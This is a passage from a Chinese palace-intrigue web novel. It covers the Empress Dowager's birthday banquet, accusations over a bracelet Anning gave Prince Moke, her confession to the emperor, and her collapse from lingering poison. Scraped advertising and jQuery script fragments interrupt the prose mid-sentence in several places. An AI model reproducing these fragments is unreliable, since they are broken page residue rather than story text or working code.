可姐姐不一样,姐姐一直在为进宫做准备,她的眼界远超她,她的思想也远超同龄人成熟稳重。她只能看一步,姐姐却思虑其后的三步。她只知太后公正没有偏帮,姐姐却一早就忧虑太后的用意。 若说真为后,姐姐无疑是个极佳的人选。说不定,这原本就是祖父的盘算。只是因为她回京打乱了一切,她挡了姐姐的路。 顾珂柔看 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 穿了她脑子里的那些想法:“便是你没有回京,我也不过是同圣上在进宫前有过数面之缘而已。那时朱四叔时常在家里,我也未曾和他有过半分交集。从始至终我都不曾入过圣上的眼,不过是太师府的嫡长女罢了。你明白不明白?” 安宁听话地点了点头。 “宁嫔娘娘。”白薇进来通传,“圣上来了。” 顾珂柔起身迎驾,安宁待要下榻,被进来的朱弘辉按住:“不必多礼。” 安宁知道这些日子前朝的纷乱,见他眉宇间的阴郁,颇为内疚:“四叔,是我连累了你。” “同你没有干系。”朱弘辉落座,示意顾珂柔也坐下,“听说你今日没有用膳,可是身子还不舒服?” 安宁摇了摇头:“只是心绪不宁。” 他宽慰她:“你好生将养身体,旁的不用担心,一切有我。” 安宁听了姐姐的话,知道事情没有他说的那般轻松。她不想他担心,仍是强打起精神应下:“好。” 他仔细观察她的神色:“这几日精神可好了些?” “用了曹院判的方子,精神好了不少。”安宁道,“这几日不知为何,又有些犯困。倒没有之前那般昏睡不醒,就总觉得身体犯懒。” 明帝看了眼黄大伴,后者会意,不多时就请来了曹院判给安宁请脉。曹院判仔细诊过脉:“娘娘不用担心。娘娘身体里虽然余毒未清,但已没有大碍。如今犯困一是时节所致,二则娘娘此前因毒身体虚弱,如今春困也是正常,只需顺势为之,好好将养就好。” 明帝闻言放下心来,笑看着安宁:“那便多睡一睡,把身子养好。” 安宁还在担忧朱弘辉如何应对前朝王氏掀起的风雨,明帝下了新的旨意,封周嫔为淑妃,顾贵人为顾昭仪,白才人为白贵人,又另封了一些妃嫔,有位份的往上提了一提,没有位份的给了位份。安宁的册封典礼将同诸人一起,从单封她一人变成了群封。众人里除了周嫔和白才人曾侍寝,旁人都尚未侍寝,如此一来安宁的嫔位便不再那么打眼显得是明帝偏宠。 不仅如此,这旨意一下,很快前朝就有新的言官进言,斥责同僚颠倒是非。王氏的獠牙指责安宁豢养猛禽伤人,后者就拿出了梁选侍栽赃安宁时太医院的记录为证据;指责安宁栽赃惠妃,后者就搬出了安宁中毒几乎丢了性命的事反驳;斥责安宁在宫里纵马,后者无法应对干脆绕过言其它,反而牵扯出了江贵人的歹毒,暗指其后还有人指使。两帮人在大殿上打起了口水仗,你一言我一语,骂得好生激烈。 幕帘后坐的王太后听了半晌,不声不响地起身离开了大殿,到此殿上的文官都尚不知,还在互相攻诘。 太后挥退了软舆,沿着甬道缓缓前行,黄大伴知晓她心情不佳,小心地在一旁随伺。两人一路行来走到了翊坤宫门口。王太后停下脚步抬头看着翊坤宫的宫门。自邓贵妃后翊坤宫一直没有人入住,十几年来早就荒废了。阳光下原本朱漆的大门斑驳脱落的不成样子。 “自邓氏入宫,这后宫便只有她一人。”太后突然开了口,“辉儿果真是先帝的血脉,父子两一般痴情,眼里容不下旁人。不过辉儿知变通,倒强了许多。”太后笑了笑,看向一旁的黄大伴,“小猫如今也学会伸爪子了。” 61. 60 四月初五,太后寿辰。前朝吵吵嚷嚷的言官口水仗打了半个多月,临近太后生辰时都默契地偃旗息鼓。送进宫的折子全部都是恭贺太后寿辰的吉祥话,不见前些日子浓厚的火药味。 太后一反往年低调办寿辰的常态,从内库调拨了不少银两,不仅重新修葺了慈宁宫和御花园,更要在生辰当日在宫里举行大宴。消息一出,京里不少勋贵人家都想尽法子搜罗奇珍异宝,来作为太后生辰的贺礼。 初三宫门一开,送给太后的各种贺礼便络绎不绝地运到宫中。如今后宫以淑妃为首,这些事情都交到了她手上处理,恰逢太后操办大寿,她忙得脚不沾地。这些日子顾家姐妹两都难以同她坐下来好好说上几句话。她实在忙得焦头烂额又不放心旁人,就抓了顾珂柔去帮忙,将安宁自己闲在了毓德宫。 从上次曹院判来请过脉后,安宁越发困倦得厉害。但想着曹院判说她是中毒后体虚加上春困所致,好好修养更有利于身体恢复,她便听从了曹院判的话,犯困便安睡,等她睡醒睁眼时已是掌灯时分。 安宁在大床上翻了个身,屋子里满是暮色,夕阳最后的几缕金红色光线从窗缝进入室内。她打了个哈欠,侧躺着懒懒地抱着被子,看着那光线里浮动的细微浮沉。 因着她在午睡,院子里很安静。如今已是西府海棠的花期,院子里两株巨大的海棠树开得极盛,满树粉白的花朵冒出了宫墙,隔着很远都能看得一清二楚。空气中漂浮着淡淡地花香,春末夏初微暖的晚风吹动着树冠,缀满了花朵的树冠轻轻摇晃发出沙沙的声音,似在呢喃低语。 白薇进屋查看,见安宁已经醒来,上前挂起了幔帐:“娘娘,您起来去外面走走吧。今儿天挺暖和,这会儿太阳落了山也不觉着冷,院子里舒服着呢。正好也让雪狼出来透透气?” 安宁想到两只雪狼,撑着自己起了身。 白薇替安宁更衣,看清她的面色手上动作不由得顿了顿。安宁眼眶下好大两团乌青,几乎占了整个面颊三分之一,她肤色青白,看着竟然满是病容。 “娘娘。”白薇不放心,“您可有觉着不适?要不要请曹大人来请个平安脉?” “曹大人不是前两日才来请过脉?”安宁摇了摇头,“曹大人也说了我无事,好生歇息便是。”她问白薇,“姐姐回来了吗?” 白薇蹲下替安宁穿鞋:“昭仪让人回来传过话了,明日就是太后的寿辰,淑妃娘娘那边实在脱不开身,今日她歇在启祥宫。” 安宁走到院子里,春寒散尽,如今即使太阳落山也不再觉得寒凉。见着她专职照顾雪狼的小太监将两个小家伙放了出来。它们被养的肥肥胖胖,一看见安宁扭着肥嘟嘟的身体飞快地朝她奔来,围在她脚边不停地转圈摇着尾巴讨好。 安宁蹲下身摸了摸小家伙,手上抓了一大把绒毛。一旁的小太监见状赶紧道:“娘娘,天气转暖,两只雪狼都到了换毛的时节。奴才每日里都替它们梳毛,还是大团大团落得像雪球一样。” “没关系。”安宁拍了拍手,她手中的毛团被晚风吹走,两个小家伙见状好奇地跟了上去,“过了这段日子自然就好。” 小家伙们追到宫门处,与转过影壁的明帝碰了个正面。它们看见明帝倒也识相,摇着尾巴上去讨好。 安宁站在盛开的西府海棠树下,晚风吹得树冠轻晃,也拂起了她的裙摆和头发。她没有盛装,穿着寻常的常服披散着头发。一袭月白色的长裙让她似乎不沾这尘世半分。她未施粉黛,面容看着有些憔悴带着病容,让朱弘辉的心微疼。头发被风吹乱,她极为自然的抬手理了理乱发,远远地冲着他微微一笑。 他隐约觉得,这个画面会镌刻在他记忆里很久。 他走到她面前,伸手替她理了理脸颊边的碎发,带着他自己也没察觉的温柔:“刚睡醒?” “嗯。”安宁有些羞赧,“午后觉着犯困想睡一会儿,不成想一睁眼已经是这个时辰。” 他牵起她的手一同往里走:“用了晚膳没有?” 她摇头:“刚起,还没用。” “正好。”他道,“我也没用,咱们可以一起。” 黄大伴和白薇闻言赶紧去准备晚膳。朱弘辉拉着安宁在临窗的大炕上落座,安宁开口询问:“四叔,这些日子前面闹得那般厉害,你可还好?” 从姐姐告诉她对面的目的从来不是她而是明帝后,她便一直替他忧心。他看见她眼底的忧虑:“你不要想太多,忧思伤身。前朝的事情我自有法子处理。” 她没有说话看着他。他轻叹一声,伸手将她拥进怀里,让她靠着他的肩头。他低声道:“临近太后的寿辰,便是闹得再厉害,眼下也消停了,你不要担心。” 他顿了顿,“我来是告诉你,王昭仪禁足了这些日子,明日是太后的寿辰,不得不放她出来。” 安宁点了点头:“四叔,你一直护着我,我知道。你不要为难,明日自该让她出来。” 朱弘辉握着她的肩头,轻轻地、安抚地拍了拍她:“我会好好补偿你受到的这些委屈。” 太后寿宴正日,一大早安宁就起了身,盛装打扮后同其他后宫妃嫔一起去了慈宁宫给太后请安祝寿。 有些日子没见着禁足的王昭仪,今日在慈宁宫见着她,她身边依旧围绕着一大群逢迎的人。到底是王氏嫡女,背后又有太后作靠山,即使被贬被禁足,一露面还是人群中的焦点。 江贵人在大封中也成了江昭仪,虽与王昭仪如今位份一样,她仍是做足了姿态,以下位自居,事事以王昭仪为首。她们一群人站在一起,与淑妃、顾珂柔和安宁等人远远形成对立的两团人马。 安宁她们的心思却没在王昭仪等人身上。今日在京凡二品以上官员的家眷和有爵位的人家家眷都要进宫祝寿。保国公夫人曹婉、太师府夫人袁氏都要进宫。命妇们被安排在众妃嫔之后面见太后。安宁和顾珂柔请安回宫后一直在院子里翘首以望,盼着能见祖母们一面。 终于,被派去迎两位老夫人的陈公公遣了脚程快的小徒弟先回来报信:“娘娘,昭仪,两位老夫人过来了!” 安宁和顾珂柔赶紧迎了出去,果然见宫门前落下了软舆,曹婉和袁氏正抬头打量着毓德宫的大门。安宁眼眶一红,一声:“祖母!”快跑上前,扑进了曹婉的怀里。 顾珂柔也上前扶住了袁氏,浅笑嫣然:“孙女儿给祖母请安,给保国公夫人请安。” 曹婉眼眶也是一红,慈爱地拍着安宁的背:“这么大人了,在宫里还这般,没得让旁人笑话。先进殿再说。” 几人入了正殿落座,曹婉不动声色地打量着眼前的一切,见入目所及无一不是罕见的珍品,先帝邓贵妃在世时也不过如此,可见安宁盛宠。只是想到那些纷乱的流言,曹婉不由得在心里暗暗叹了一口气。 袁氏也慈爱地看 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 着两个孙女:“这些日子不见,都清瘦了。” 顾珂柔道:“祖母,我们在宫里什么都好,如今时节交替邪气容易入体,您要多注意身体。”她蕙质兰心,见曹婉似有话要和安宁说,撒娇地挽住袁氏的胳膊,“祖母,你看了妹妹的寝殿,也去看一看我的?” “好好好。”袁氏最是疼爱顾珂柔,闻言无有不从。顾珂柔扶着袁氏起身往自己的寝殿走,对着曹婉和安宁微微颔首。 曹婉从怀里拿出一叠银票递给安宁:“这个你拿着。” 安宁接过来一看,被银票的数额震惊:“祖母,你怎么给我这么多银子?” “在宫里,需要靡费的地方多。”曹婉心疼地看着安宁,“圣上赏赐的东西虽然多,但那都是御赐的物件儿,又不能拿去赏旁人。要做什么事,要让下面的人提起劲儿当差,说到底还是要银钱到位。这里头一半是你爹你娘准备的,另一半是我给你添的,你好好收着。” 安宁应下,将银票锁到了匣子里。曹婉道:“前些日子外头传言纷纷,我们听了也不知哪些真哪些假,但知晓圣上定然极宠你,才让你成为众矢之的。”曹婉握着安宁的手,“你和你姐姐住一个宫,极好。她虽然只年长你半岁,却要老成得多。有什么事情你控制控制自己的脾气,凡事儿同她多商议,多听取她的意见,深宫不易,自保为上。” “祖母。”安宁靠在曹婉的肩头,轻声开口,“我和姐姐如今同圣上休戚与共。自我入宫以来,处处被王氏针对,几次三番几乎丢了性命。”她压低了声音三言两语说完了自己经历的危险,“如今我们同王氏已是不死不休的局面。” 曹婉神色严肃地听完了安宁的话:“你在宫里处处小心,前朝的事不要担心。有太师府、有你祖父、有你父亲和伯父,也不能容那王氏一直跋扈下去!” 安宁听了祖母的话安心了不少。有祖父和父亲他们在前朝对四叔伸以援手,四叔也不至于在面临王氏时独木难支。 安宁贴着曹婉又说了会儿体己话,陈公公在门口轻声道:“娘娘,时辰快到了。请娘娘与国公夫人移步,去建极殿赴宴。” 众人到了建极殿,早有宫人在大殿门口候着,引着妃嫔和命妇们依照各自的品级落座。大殿正中并排放置的两个主位空着,太后和明帝还没到。左下首第一位是淑妃,右下首第一位是安宁。淑妃身旁坐在王昭仪,安宁身侧则是姐姐顾珂柔。 王昭仪和江昭仪挨在一起坐着。众妃嫔有的身后还有案桌,那里安排着妃嫔家里未出阁的姐妹。安宁一落座就见着一个熟人,江昭仪身后坐着有过数面之缘,定国公府最小的那个六姑娘姚六。 王昭仪身后也坐着一个眉目清丽的女子,又是一个王氏家族的天之骄女。 这会儿各处给太后的贺礼还在绵绵不绝地运进宫中,众人都在谈论着先前看见的贺礼。定国公从南海运来了一株高约六尺的赤红珊瑚树。那红珊瑚颜色如血玉,光莹润泽,散开如孔雀开屏,实属数百年难得一见的珍品。带了这样的贺礼入宫,姚六也与有荣焉,面上带着掩不住地骄傲。 随着传令官唱喏,太后和圣上进了大殿。众人纷纷起身行礼参拜,太后落座后免了众人的礼,微笑道:“今日是哀家的寿辰。哀家以前不喜欢热闹,如今许是年岁大了,慢慢地也变得开始贪恋人气劲儿。今儿个就借着寿辰,让大家伙儿在一起聚一聚,图个热闹开心。” 62. 61 众人齐声恭贺太后寿诞后落座,王大伴道:“启禀太后,各处恭贺的寿礼都送到了,眼下正等着娘娘过目呢。” 太后笑看向明帝:“劳大家伙儿费心了。” 明帝道:“这都是大家对母后的一片孝心。” 太后点了点头,对王大伴道:“那就抬上来过过眼,让哀家高兴高兴。” 送进宫的珍宝不知凡几,若真要全抬上来,只怕流水一样的看上一天一夜也看不完。能被送进大殿让太后和圣上过目的只有最为珍贵的几样,其中就有定国公从南海送来的血玉珊瑚。 另一样则是一头猛虎的标本。那猛虎身长约一丈,虎尾高高竖起呈猛虎下山之状,威风凛凛气势逼人,尤其琉璃的眼珠做出了神采。匠人极具功力,将其做得栩栩如生。 猛虎被八个侍卫一抬进来,众人就发出了惊呼声。王太后也颇为惊讶:“历来只见着整张的虎皮熊皮,这般活生生的模样,还是头一次看见。” “启禀太后。”王大伴道,“这是世子府的摩诃世子所献。” 话音落,摩诃离席出列上了大殿,行礼扬声道:“臣摩诃,恭祝太后万寿无疆!” “好,好。”太后笑着点头,“你有心了。” 王昭仪道:“这礼物奇巧,就是这猛虎威势太盛,臣妾瞅着心惊,不敢多看。” “威势盛才好。”长兴侯夫人笑着开口,“山君镇一切邪祟,可保外邪不侵。” “外部归附大宁十几年,风土人情还是同我们大为不同。”王昭仪看向安宁微笑,“说起来,这儿最了解外部的,除了世子本人,便是宁嫔了。想来宁嫔应见过不少这般奇巧之物。” 安宁并不欲与王氏搭话,微微欠身道:“臣妾虽然长居开阳对外部的风俗略有了解,但这些东西知道的却不多,让昭仪见笑了。” 姚昭仪似在替安宁说话:“也是,女儿家,关注的都是珠宝首饰多一些,谁会去在意这些东西?” “便是珠宝首饰,宁嫔娘娘喜欢的,也与大宁通常之物大为不同呢。”姚昭仪身后姚六开了口,“娘娘进宫前,臣女曾在金玉楼与娘娘有一面之缘。说来有意思,我们看得都是珠玉宝石,娘娘却用兽牙做主料,辅以各色宝石做了一个手串。我当时觉着特别,还特地看了看,娘娘别具匠心,在那手串上还串了一个木雕的莲蓬。” 她话音一顿,视线落在摩诃的手腕上不动,“说起来……娘娘做的那个手串,和世子腕间这串,看着可真像。” 话音一落,满堂皆静。安宁的面色不由自主地变得苍白。 她和姐姐曾在金玉楼同姚五姚六以及她们的姨娘起过龃龉。她正是那时候在那处定做了兽牙手串事后送给了摩诃。这件小事已经过去了许久,她早已抛诸脑后,却不想今日在太后的寿宴上,被姚六这般翻了出来。 摩诃眉目微凝,举起手展示腕间的兽牙手串:“这个?这在外部是常见的小首饰,相似也不足为奇。” 大殿上众人神色各异,有人幸灾乐祸地看着安宁,有人担忧地注视着她,更有人目光不停在她和明帝之间梭巡。明帝端坐在主位上面无表情并未发话,就在大家以为此事是个小插曲就此揭过时,王太后开了口:“喔?说得哀家也好奇,不如呈上来给哀家看看?” 王大伴走到摩诃身边,摩诃只得褪下了腕间的手串交给他。王大伴转身将手串呈给了太后,太后拿起来仔细端详了片刻:“虽然主料是兽牙,但这做工属实不错,别具匠心。”说完她将手串放在了面前的托盘里,并未让人拿下去还给摩诃。 也不知是有意还是无意,手串上那个木雕莲蓬正正好好朝向明帝的方向。 “宁嫔娘娘。”姚六并未打算就此放过此事,笑看着安宁,“那日在北市海舶司门口,娘娘追的那人便是世子吧?” 此话一出,殿内的人再按捺不住,顿时议论纷纷。明帝面无表情地看向姚六,接触到明帝的视线,姚昭仪和姚六心中一凛,姚昭仪赶紧低头告罪:“请太后圣上恕罪,臣妾妹妹年幼不知分寸,多言了,臣妾一定多加管教。” “哈哈哈。”温国公老夫人笑了几声接过了话,“谁不爱八卦?老妇人我年轻的时候,也一样。何况这事儿同宁嫔娘娘还有摩诃世子有关。听得大家实在好奇,宁嫔娘娘同世子还是旧识?看这意思,似乎还颇有交情?” 若说姚六说的话还意有所指,温国公老夫人的话已经是赤裸裸地在打明帝和安宁的脸面。她仗着自己年迈又是一品诰命,说起话来丝毫不留余地,“宁嫔娘娘,您要不要辩解几句?” 安宁经历了最初的慌乱,此时已经镇定了下来。她微微偏头故作不解看向温国公老夫人:“辩解?本宫又未做错什么事,为何要辩解?” 温国公老夫人一滞,原想着趁着寿宴用言语打压她几句,只要她乱了阵脚或情绪激动,这事儿是或不是都不再重要,必然将这流言钉死。然而安宁慌乱了几息,如今却气定神闲,似笑非笑地看着她,“老夫人这话,本宫却是听不懂了。” 温国公老夫人自然不敢和安宁明面上起冲突,只得讪笑两声不再言语。 “太后。”安宁委屈地看向王太后,“臣妾出自凌云州,臣妾父亲同外部多有交集。世子……”她特地顿了顿,视线扫过摩诃,语焉不详地略过了这一段,“……前些日子往宫里送了不少礼物,还进献了傀儡戏,实在是有心。臣妾还曾将世子送来的礼物进献给太后,温国公老夫人这般言语,实在是冤枉臣妾了!” 她虽语焉不详,在座诸人谁不知道摩诃是被困在了京城?想来是想借着安宁来自凌云的几分情分,兼之在明帝面前的宠爱帮他返回王庭。这理由合情合理,姚六挑起来的暗箭不攻自破。 “哀家记得。”王太后慈爱地看着安宁,“你别委屈。人老了难免嘴碎,我看温国公老夫人也是无心之失。”她笑看向温国公老夫人,“是不是?” “是是。”温国公老夫人忙不迭地应下,“还望宁嫔娘娘恕罪。” 摩诃深深地看了安宁一眼,返身回座,这段小风波就算了结。他之后又呈上了几样礼物,权贵使臣命妇们轮番祝寿后,寿宴终于正式开始。 安宁吃了两盏酒,困意又再度袭来,她强打了一会儿精神,实在撑不住便离了席。临走时悄悄嘱咐姐姐若太后问起,就说她尚未病愈,体虚不胜酒力,回去歇息去了。 她刚走出建极殿一上软舆就睡了过去,也不知自己是怎么回的宫。等她再度醒来时已是三个时辰后。天色已擦黑,她换了寝衣躺在大床上,床榻边朱弘辉背对着她坐着,屋里没有点灯,他透过窗户看着院子里盛开的西府海棠也不知在想些什么,屋子里除了他二人再无旁人。 夕阳最后的光洒在海棠树上,将粉白的花朵镀上了一层淡金。安宁轻轻开口:“四叔?” 他转过身看她,向她俯下身抚摸她的额头:“醒了?” 安宁觉得浑身都没有力气:“你怎么在这里?” “你一出建极殿就昏睡了过去。白薇 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 怎么喊你也喊不醒,她被吓住,只得偷偷报与我知晓,请了曹院判来为你诊脉。”他叹了口气,手掌轻轻按在她的额头处,“曹院判说你身体太虚,又吃了些酒,被酒力激发方才如此。我放心不下,寿宴散后就过来看看你,不成想你一直睡到现在。” 她正想再开口,视线落到他另一只手上,见他手里握着的,正是她送给摩诃的那个手串,她的面色不由得一白。 他顺着她的视线看过去,将手串放到她手中,淡淡地开口:“金玉楼的手艺全大宁独一份。无论是老师傅还是下面的小伙计,每个人做首饰都会在上面留下自己隐秘的印记。只要拿去一查一问,便知出自谁手。你此前同摩诃有交情,互赠礼物便也罢了。如今你入了宫,这些东西还是不要再留在他手中为好,免得平白给他人留下把柄。” 安宁轻轻握住手串,摩挲着上面的兽牙。心里一时挣扎万分。朱弘辉静静地看着她,似在等她开口。 “四叔。”安宁终于下定了决心,决定不再让这把利刃悬在头顶,与其被别人拿来利用挑拨,不如主动和他坦诚消除隔阂和误会。只是她心中实在惴惴,“四叔,我……” 他没有说话,仍是安静的地看着她。 安宁捏紧了手串,低头不敢看他的眼睛:“我初入京城时,曾对……曾对伯言有情。” 她说的是伯言不是摩诃。 最难的一句说出了口,后面的话反而变得顺畅,“只是后来我慢慢看清,他从始至终都是怀着目的接近我。许是看中我的身世觉得我对他有帮助。”她轻轻叹了口气,“此后我便同他断绝了来往。再往后就进了宫。” 她的话音更低,“我不敢告诉你,我……” 他伸手将她抱进了怀里。 她靠在他肩头,这个拥抱抚平了她的紧张不安。这是她的四叔,那个一直事事为她着想、包容她疼爱她的四叔。她觉得羞愧,她为何要怀疑他呢?她一早便该将伯言的事情坦诚告知才对。 他低声开口:“我知道。” 她离开他的怀抱,瞪大了眼睛看着他。 “他是王庭世子,在京里的动向会被暗地里专门派遣监视他的人关注报告给我。”他道,“早先暗卫便有禀报,他想尽办法在接近你。在开阳时他就用了些手段同你搭上关系。你在市集遇袭时那些贼人并非少布的人,是摩诃的人。” “他?!”安宁语塞。所以从一开始,他对她便全然都是利用罢了。从始至终都没有过半分真心,是她傻乎乎地掉进了他织好的蛛网里。 她的神情瞬间变得黯然,眼里失了神采。她勉强笑了笑,轻轻道,“我真笨。” 朱弘辉叹了口气。若非如此,他为何会强迫她进宫?若是再晚些时日,她真对摩诃情根深种,以她的性子和家里起了抗争,皆时摩诃去提亲,便是顾家百般不愿,也不能不将安宁嫁给他了。 他道:“岳父对你万般宠爱人人皆知。娶了你,得中军助益,他回王庭,自可与少布争一争那草原王的位置。他的目的不仅仅是为了回王庭,是要扫除掉一切阻碍,回去承继王位。” “四叔。”她胆怯地看着他,“那……你既然都知晓,你,你可生我的气?” 他揉了揉她的头顶:“他存心骗你,你如何是他的对手?能主动同他断了联系,你已经做得很好。再没有什么可苛责你的。” 她垂眸,眼泪大滴大滴地落下。他伸手替她拭去眼泪:“过去的事情不提了,只望你日后心里只有我一人。” 63. 62 啪嚓一声脆响,候在殿外的宫女们心中都是一惊,人人静若寒蝉垂首眼观鼻鼻观心,人人都似雕塑一般一动不敢动,生怕被太后的怒火波及。 “娘娘!”王大伴绕过一地的碎瓷上前,“娘娘息怒,娘娘息怒!” 王太后闭上眼睛胸膛剧烈起伏着。好半晌她才缓缓睁开了眼睛,眼里满是压不住的愠怒。 方才太极殿议事,保国公、顾仲堂还有周玉竟然联合起来同她唱反调,周玉提到了明帝快满十八岁之事,他三人都极力主张还政于朱弘辉,大有逼她交出玉玺退位之意。 三人辅政十数年,向来以她为首,如今竟然拧成了一股绳,和她分庭抗礼。王太后的眼里满是阴霾。 “娘娘。”管事嬷嬷在门口通传,“王昭仪请安来了。” 王大伴给手下的小太监使了个眼色,后者赶紧招呼了两个宫女上前清理地上的碎瓷。王太后压着怒火落座,王昭仪低头进了殿:“臣妾参见太后,太后万安。” 王太后道:“起吧,赐座。” 王昭仪落座,期期艾艾地拧着手里的帕子,欲言又止。王太后看不惯她这个样子,斥责道:“有话就说,怎的做这般样子?” “姑母。”王昭仪起身,不顾满地的水渍跪下,“自臣妾被贬,已有近两月不见圣颜。臣妾好容易解了禁足,今日去了养心殿,却被黄大伴拦在了殿外头。圣上这般不待见臣妾,如此下去,臣妾该如何是好?” 她说着落下眼泪,拿手帕按了按,“臣妾在宫中,如今只有太后姑母一个依靠。姑母,臣妾心里害怕,还望姑母给指一条明路。”说罢深深叩首在地。 王太后闭上眼睛缓缓吐出一口长气,再睁眼时眼底的阴霾愤懑都不见了踪影。她看向自己的侄女儿:“辉儿那边,我会想法子劝一劝。你自己多谨言慎行,不要再惹得他厌弃。” 王昭仪深深地低下了头:“姑母,臣妾知道错了。” 王昭仪离开后,王太后透过大殿的殿门看着院子里盛开的牡丹花半晌。整个后宫,唯有她的宫殿里才有牡丹,牡丹是百花之首,内务府培育了各色牡丹送到慈宁宫,如今正是牡丹的花期,繁花遍地。 “去请圣上。”王太后吩咐王大伴,“今日到慈宁宫陪哀家用晚膳。” 申末,朱弘辉到了慈宁宫。王太后在偏厅备下了小宴,除了王大伴近身伺候,便只有他们母子二人。 朱弘辉行礼后落座,王太后道:“如今又到了吃藕糕的时节了,你且尝一尝。” 王大伴夹了一小块儿藕糕在明帝面前的碟子里。明帝夹起咬了一口:“母后宫里的藕糕,一直是最好吃的。” 王太后慈爱地看着明帝:“我还记得当年刚将你接到我身边,那么小小的一个人儿,见着谁都害怕,和你说话你不吭声,给你吃的你也不接。最后还是嬷嬷端上来一小碟新做的藕糕,你才吃了两口。” 朱弘辉放下了筷子:“幸得母亲垂爱,才有朕的今日。” 王太后轻轻叹了一口气:“时间荏苒,岁月如梭。如今你也大了。不知不觉间,竟已过去了十几年。而今我每每看到你,似乎都见到先帝的影子。” 朱弘辉沉默着没有说话。 王大伴给两人各斟了一杯酒,王太后端起饮了半杯:“当年先帝突然薨逝,留下我们孤儿寡母。主少欺国,不得已,哀家才担起了持政的重担。哀家曾在先帝灵前许诺,待你年满十八之时,就还政于你让你亲政。眼看着距离你十八的生辰只有数月,哀家觉着,也该早做准备,等你过了生辰,一应事务都由你亲理,哀家也好卸下肩上这十几年的重担。” 朱弘辉压住心里的惊讶,抬头看向对面的王太后:“母后,儿臣尚且年幼。何况这么多年来,母后呕心沥血励精图治,方才有如今国泰民安的大宁,儿臣惶恐。” “你是先帝的血脉,这天下本就是你的,这些都是你应担的责任。”王太后饮下剩下的半杯酒,“哀家的责任,是将你抚养长大,在你年幼时暂且代替你守住这大宁的江山。此事不必多言,待你生辰时哀家便将玉玺交还与你。” 朱弘辉起身走到一旁感激地跪拜:“儿臣谢母后大恩!” 王太后上前扶起了朱弘辉:“你我虽不是亲生母子,但你不到两岁就到了哀家身边,哀家一心一意将你养大,唯有你才是哀家的指望与依靠。外面那些世家大族宗亲朝臣,各有各的想法,各有各的盘算,不要让那些人离间了你我母子的情分。” 朱弘辉反手握住王太后的手腕,眼眶微红:“母后,若无母后,岂有儿臣?坊间草民尚知滴水之恩当涌泉相报,儿臣自当尽心竭力,以报母后大恩。” 朱弘辉扶了王太后落座。王太后也红了眼眶:“辉儿,哀家出自王氏家族。所谓打断骨头连着筋,许多事情,哀家也不得已。王昭仪的事情,还盼你看在哀家的脸面上,不要再为难她。有王家的助益,对你有百利而无一害。何况江昭仪的事情,属实同她无关。你便是心疼宁嫔,罚了她这么久,也放过她吧。后宫的这些妃嫔连着前朝,不要因为后宫的琐事寒了前朝世家的心。” “母后说的极是。”朱弘辉应下,“是儿臣欠思虑了。” 母子两又说了好一阵的话,王太后提起了不少明帝小时候的事情,又谈到了如今新的税政,这顿小宴吃了大半个时辰,王太后饮多了酒不胜酒力,这才散了宴席。 朱弘辉也喝了不少酒,他怕酒气冲着安宁,没有去毓德宫看她,径直回了乾清宫。 敬事房的管事太监又送来了绿头牌。朱弘辉见王昭仪的牌子被刻意摆在了托盘的中间,放在淑妃的牌子旁边。他抬手,在牌子上挨个抚过去,他最想见的那个人因病撤了牌子还没有复牌。他心里到底记挂安宁,吩咐黄大伴:“明日让曹院判去给宁嫔请平安脉,回来同朕回话。” “是。”黄大伴赶紧应下,躬身出去吩咐。 朱弘辉的手停在了王昭仪的牌子上。 今日太后十分诚挚,神色间疲态尽显,似乎真的想卸下肩上的重担。无论真假,太后和王氏家族抛来了橄榄枝,他自然也要给予回应。 他拿起王昭仪的牌子翻了过去。 永和宫。王昭仪刚起床梳洗,外面就传来了旨意,复了她惠妃的位份。 她喜滋滋的接旨,过不多时内务府送回来了她的封妃宝册。紧接着太后和圣上的赏赐接踵而来,宫里其他妃嫔也闻讯而来,纷纷向她道喜。 淑妃和毓德宫的人虽然没有来,但也送来了贺礼。惠妃见着毓德宫的礼物,扭头问姚昭仪:“宁嫔还病着?” “还病着呢。”姚昭仪道,“曹院判见天地去毓德宫请脉,听说她瞅着也还好,就是没有精神,整日里总是昏昏沉沉地犯困。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “依我看,宁嫔娘娘虽得圣上宠爱,却是个没有福气的。她啊,担不起这份圣宠,才会这般病恹恹的,连侍寝都不能。”新晋的钟贵人拿手帕挡着唇一笑,“不似娘娘,福泽深厚。” 惠妃淡笑着看了钟贵人一眼:“这话在这里说说就罢了,可不要传出去,没得惹是生非。” 钟贵人赶紧离座行礼:“是臣妾冒失了。但臣妾说的都是真心话,唯有娘娘福泽深厚,方才担得起圣恩。” 惠妃和姚昭仪相视微微一笑,没有多言。 王太后自那日小宴后,果真将不少政事交到了明帝手中,似是大有还政的意图。明帝身上的事情骤然增多十分繁忙。尽管如此,他每日傍晚都会去毓德宫小坐。 天气渐渐变暖,西府海棠过了花期。院子里不复满树锦簇的盛景。进了五月到了芍药的花期,内务府送了不少芍药到毓德宫,挨着长廊下摆满增添了不少生气。 安宁想要个秋千,院子里的柏树和西府海棠都不适合,明帝就令人做了一个秋千架,就放在海棠树的旁边。晚霞漫天的时候,安宁就坐在秋千上缓缓荡着,脚下两只雪狼时而打闹,时而安静地趴着睡觉。 他已经习惯了每日一进毓德宫,就看见她坐在秋千上,带着让他心动的笑容看着他。只要看见她,似乎所有的疲惫和烦闷都能一扫而空,在她身边他总能感觉到一种暖心的平静。 初夏傍晚的微风吹拂着安宁的头发,她整个人蜷缩在秋千上,靠着椅背进入了梦乡。朱弘辉一进宫门,看见的便是她的睡颜。 他漫步上前,伸手轻轻将她抱起,想要像往日一般将她抱进内殿去让她安眠。他的手碰到她的身体,心里莫名地一紧,入怀的身体冰冷,她的头无力的滑到他的胸前,低垂着没有半分声息。 “宁儿?”他开口轻唤她,声音里带着他自己不曾察觉地颤抖,“宁儿?” “太医!”黄大伴丝毫不顾自己的气度,狼狈地从毓德宫里冲了出来,冲着外面大喊,“快请太医!” 整个太医院都被惊动,在宫里当值的太医尽数到了毓德宫。明帝眉目阴沉,在外间不停的回来踱步,焦急地等待着里面的消息。顾珂柔面色苍白地坐在一旁,淑妃闻讯也赶了过来,在一旁低声劝慰着她。 